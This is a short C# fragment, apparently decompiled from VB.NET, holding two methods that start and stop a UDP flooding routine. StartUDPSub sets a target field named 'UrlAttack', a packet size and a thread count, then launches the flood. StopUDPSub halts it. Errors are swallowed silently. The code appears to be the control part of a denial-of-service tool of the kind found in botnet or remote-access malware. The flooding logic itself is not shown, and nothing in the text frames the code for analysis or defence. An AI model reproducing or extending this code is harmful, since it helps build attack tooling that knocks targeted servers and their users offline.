public void StopUDPSub() { try { if (UDPClass.IsAlive) { UDPClass.CheckStatus(); } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } }
public void StartUDPSub(string URL4, int Packet, int Threads) { try { if (!UDPClass.IsAlive) { UDPClass.UrlAttack = URL4; UDPClass.PackteSize = Packet; UDPClass.Threads = Threads; UDPClass.Start(); } } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } }